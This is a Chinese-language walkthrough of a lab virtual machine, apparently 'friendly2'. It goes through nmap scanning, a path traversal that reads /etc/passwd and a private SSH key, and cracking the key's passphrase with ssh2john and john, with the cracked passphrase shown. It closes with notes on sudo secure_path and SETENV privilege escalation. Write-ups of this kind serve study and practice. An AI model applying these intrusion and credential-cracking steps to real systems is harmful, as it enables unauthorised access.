信息搜集

主机扫描

arp-scan -l

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -p- -Pn  192.168.152.110              
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-25 11:22 EDT
Nmap scan report for 192.168.152.110
Host is up (0.00036s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
MAC Address: 08:00:27:0C:8F:A4 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds

目录扫描

  1. /tools
  2. /assets

在tools页面的源码发现疑似路径

访问发现,发现是参数+文件,查看源码,无果,于是我猜测存在路径穿越,

果不其然,存在路径穿越,

拿取shell

gh0st:x:1001:1001::/home/gh0st:/bin/bash

两个思路:

  1. 通过九头蛇爆破gh0st的密码 => 无果
  2. 是否存在用户的id_rsa,尝试一下

好家伙,出来了,这里有个小tips,就是利用源码的方式,会好看一些

发现id_rsa有密码,需要爆破

payload:
1. ssh2john id_rsa > hash
2. john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
celtic           (id_rsa)     
1g 0:00:00:14 DONE (2024-04-25 12:08) 0.06765g/s 17.32p/s 17.32c/s 17.32C/s 888888..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

chmod 600 id_rsa
ssh -i id_rsa gh0st@ip

拿取shell,得到user.txt

ab0366431e2d8ff563cf34272e3d14bd

提权

这里有个知识点:

  • sucure_path: secure_path 是 sudo 配置中的一个选项,用于限制 sudo 命令在执行时所使用的程序搜索路径。这个路径通常会被设置为一个明确的、安全的路径列表,以确保用户在通过 sudo 执行命令时只能够访问到系统中被认为是安全的程序。它有助于减少用户通过 sudo 权限执行恶意代码的风险,因为用户无法通过修改环境变量来更改程序的搜索路径。
  • path: PATH 是一个环境变量,用于指定系统在搜索可执行程序时要查找的目录列表。普通用户和非特权进程通常使用 PATH 环境变量来查找可执行程序。用户可以通过修改 PATH 环境变量来更改程序的搜索路径,但这可能会增加系统安全风险,因为用户可以意外或恶意地执行不安全的程序。
  • 综上所述,secure_path 是 sudo 特有的,用于限制 sudo 命令的程序搜索路径,而 PATH 是普通环境变量,用于指定系统在搜索可执行程序时的搜索路径。secure_path 的目的是提高系统的安全性,而 PATH 则是普通用户和进程用于确定可执行程序位置的常规机制。
Matching Defaults entries for gh0st on friendly2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gh0st may run the following commands on friendly2:
    (ALL : ALL) SETENV: NOPASSWD: /opt/security.sh

payload,这里利用提权方法我有点模糊,看emvee师傅的wp做的,有待研究